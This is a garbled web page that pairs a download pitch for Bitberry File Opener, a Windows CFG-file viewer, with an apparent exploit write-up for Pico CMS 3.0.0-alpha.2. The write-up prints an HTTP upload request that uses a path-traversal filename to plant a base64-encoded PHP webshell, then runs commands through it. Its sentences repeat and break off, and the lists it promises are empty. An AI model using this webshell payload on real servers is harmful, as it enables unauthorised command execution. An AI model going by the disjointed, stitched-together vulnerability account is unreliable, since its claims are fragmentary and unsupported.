Bitberry File Opener, a best-in-class file handling tool for Windows, enables you to view, and print CFG files on your PC.
Supported .CFG file format
Configuration File
The first step is to download the setup program. It contains everything you need to handle CFG files. There are no 3rd-party dependencies.
Once downloaded, double-click the file (usually named BitberryFileOpenerSetup.exe) to start the installation process. This is a one-time thing.
Run Bitberry File Opener and select Open from the File menu to select your file.
You can also drag your file and drop it on the Bitberry File Opener window to open it.
You can associate Bitberry File Opener with any supported file type so they open when you double-click them.
You can view your plain-text Configuration files with Bitberry File Opener.
The text file features are limited, but you can do the basics: View, search, and print.
As of this writing, Pico 3.0.0-alpha.2 has not received an official CVE ID, primarily because the Pico CMS team explicitly warns that alpha versions are "not for production use." However, security researchers have cataloged the exploit under third-party advisories.
The primary attack vectors identified in this version include:
The most dangerous exploit chains the first two vulnerabilities together, achieving Remote Code Execution (RCE) without authentication.
The Pico Content Management System (CMS) has long been a favorite among developers who prioritize speed and simplicity. Unlike database-driven behemoths like WordPress or Drupal, Pico is a flat-file CMS—meaning it stores all content in Markdown files. This architecture traditionally offers a smaller attack surface.
That assumption was shattered last week with the discovery of a critical vulnerability in Pico CMS version 3.0.0-alpha.2. This flaw, which we are calling "PicoLeak" (CVE-2026-XXXX pending), allows an unauthenticated attacker to achieve Remote Code Execution (RCE) with almost trivial effort. Pico 3.0.0-alpha.2 Exploit
This post provides a forensic analysis of the exploit, how it works, and why upgrading is no longer optional—it’s mandatory.
The first step for an attacker is confirming the alpha version. Pico 3.0.0-alpha.2 exposes a distinct header and a debug route:
Once confirmed, the attacker probes for the Twig sandbox misconfiguration.
The root cause lies in a dangerous combination of two features introduced in the alpha branch: Twig template caching and YAML parameter parsing. As of this writing, Pico 3
If you suspect that a Pico 3.0.0-alpha.2 instance has been compromised, look for the following Indicators of Compromise (IOCs):

The widely circulated PoC for the Pico 3.0.0-alpha.2 exploit follows a three-step chain. We will assume the target is running on a standard Apache/Nginx server with default settings.
Command injection via system() is noisy and may be limited by disable_functions in php.ini. The advanced exploit leverages a file write vulnerability in the plugin handler to upload a webshell.
The Payload:
POST /admin/plugins/PicoFileWrite/ HTTP/1.1
Content-Disposition: form-data; name="file_path"; filename="../../plugins/evil.php"
Content-Disposition: form-data; name="file_content"; base64,PD9waHAgZWNobyBTeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=
The server writes a base64-encoded PHP webshell to the plugins directory. The attacker then accesses /?plugin=evil&cmd=ls -la to execute system commands persistently. The most dangerous exploit chains the first two
